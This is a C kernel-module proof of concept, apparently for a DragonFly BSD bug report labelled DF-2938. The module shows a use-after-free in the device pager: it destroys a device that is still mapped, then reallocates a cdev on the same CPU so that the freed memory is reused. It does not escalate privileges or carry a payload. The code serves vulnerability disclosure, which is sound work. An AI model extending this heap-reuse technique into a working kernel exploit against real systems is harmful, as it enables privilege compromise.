DF-2938 / devuaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 | /* * devuaf.c -- PoC loadable module for DF-2938 * (OBJT_DEVICE device pager never pins the cdev: sys/vm/device_pager.c * old_dev_pager_ctor/dtor dropped the reference_dev()/release_dev() pair * the FreeBSD lineage had). * * Creates a world-mappable old-style (d_mmap, no d_mmap_single) char * device /dev/devuaf (0666). Its d_mmap returns the PFN of a * module-owned kernel page ('A' generation, then 'B' after swap). * * IOCTL_UAF_SWAP (root only, via /dev/uafctl): * 1. destroy_dev() on /dev/devuaf -- exactly what driver teardown, * the dsp clone GC, or a USB unplug does -- while an * unprivileged mapping backed by the old OBJT_DEVICE pager * object still exists (the mapping pins nothing but the * vm_object). * 2. allocate a fresh cdev pinned to cpu <arg>; if the freed chunk * is picked up again we record reused=1. * * Evidence: uaf_mmap records ap->a_head.a_dev of every call. Any call * with a_dev == old_chunk (== the destroyed cdev) after the destroy is * the kernel dereferencing freed memory through * object->handle -> dev_dmmap() -> dev->si_ops->d_mmap. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/device.h> #include <sys/malloc.h> #include <sys/devfs.h> #include <vm/vm.h> #include <vm/vm_page.h> #include <sys/thread.h> #include <sys/globaldata.h> MALLOC_DEFINE(M_DEVUAF, "devuaf", "devuaf PoC"); #include <sys/ioccom.h> #define IOCTL_UAF_SWAP _IOW('u', 1, int) #define IOCTL_UAF_STATUS _IOR('u', 2, struct uaf_status) struct uaf_status { void *old_chunk; /* destroyed cdev */ void *cur_dev; /* current (generation-1) cdev */ void *last_a_dev; /* a_dev seen by last d_mmap call */ int reused; /* cur_dev == old_chunk */ int gen; /* 0='A' page, 1='B' page */ int faults; /* total d_mmap calls */ }; static d_open_t uaf_open; static d_mmap_t uaf_mmap; static d_ioctl_t uaf_ioctl; static struct dev_ops uaf_ops = { { "devuaf", 0, D_MPSAFE }, .d_open = uaf_open, .d_mmap = uaf_mmap, /* no d_mmap_single => vm_mmap falls * back to dev_pager_alloc() */ }; static struct dev_ops uafctl_ops = { { "uafctl", 0, D_MPSAFE }, .d_open = uaf_open, .d_ioctl = uaf_ioctl, }; static cdev_t uaf_dev; static cdev_t uafctl_dev; static char *pgA; static char *pgB; static void *old_chunk; static void *last_a_dev; static int reused; static int last_gen; static int faults; static int uaf_open(struct dev_open_args *ap) { return (0); } static int uaf_mmap(struct dev_mmap_args *ap) { last_a_dev = ap->a_head.a_dev; if (ap->a_offset >= 2 * PAGE_SIZE) return (EINVAL); ap->a_result = vtophys(last_gen ? pgB : pgA) >> PAGE_SHIFT; faults++; return (0); } static int uaf_ioctl(struct dev_ioctl_args *ap) { struct uaf_status st; switch (ap->a_cmd) { case IOCTL_UAF_SWAP: { int cpu = *(int *)ap->a_data; if (uaf_dev == NULL) return (ENODEV); old_chunk = uaf_dev; last_gen = 0; reused = 0; destroy_dev(uaf_dev); /* frees the cdev */ uaf_dev = NULL; devfs_config(); /* sync devfs worker */ tsleep(&uaf_dev, 0, "uafdl", hz / 10); /* * Replacement cdev on the cpu where the free happened so * the freed chunk sits at the head of that cpu's objcache * magazine. */ /* * NOTE: the caller (userland) binds itself to cpu N with * usched_set(USCHED_SET_CPU) before issuing this ioctl, * so the make_dev() allocation happens on the target cpu. */ last_gen = 1; uaf_dev = make_dev(&uaf_ops, 0, UID_ROOT, GID_WHEEL, 0666, "devuaf"); if ((void *)uaf_dev == old_chunk) reused = 1; kprintf("devuaf: SWAP old=%p new=%p reused=%d (cpu %d)\n", old_chunk, uaf_dev, reused, cpu); return (0); } case IOCTL_UAF_STATUS: st.old_chunk = old_chunk; st.cur_dev = uaf_dev; st.last_a_dev = last_a_dev; st.reused = reused; st.gen = last_gen; st.faults = faults; *(struct uaf_status *)ap->a_data = st; return (0); default: return (ENOIOCTL); } } static int devuaf_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: pgA = kmalloc(PAGE_SIZE, M_DEVUAF, M_WAITOK | M_ZERO); pgB = kmalloc(PAGE_SIZE, M_DEVUAF, M_WAITOK | M_ZERO); memset(pgA, 'A', PAGE_SIZE); memset(pgB, 'B', PAGE_SIZE); last_gen = 0; uaf_dev = make_dev(&uaf_ops, 0, UID_ROOT, GID_WHEEL, 0666, "devuaf"); uafctl_dev = make_dev(&uafctl_ops, 0, UID_ROOT, GID_WHEEL, 0600, "uafctl"); kprintf("devuaf: loaded dev=%p pgA=%p pgB=%p\n", uaf_dev, pgA, pgB); return (0); case MOD_UNLOAD: if (uaf_dev) destroy_dev(uaf_dev); if (uafctl_dev) destroy_dev(uafctl_dev); kfree(pgA, M_DEVUAF); kfree(pgB, M_DEVUAF); return (0); default: return (EOPNOTSUPP); } } DEV_MODULE(devuaf, devuaf_modevent, NULL); |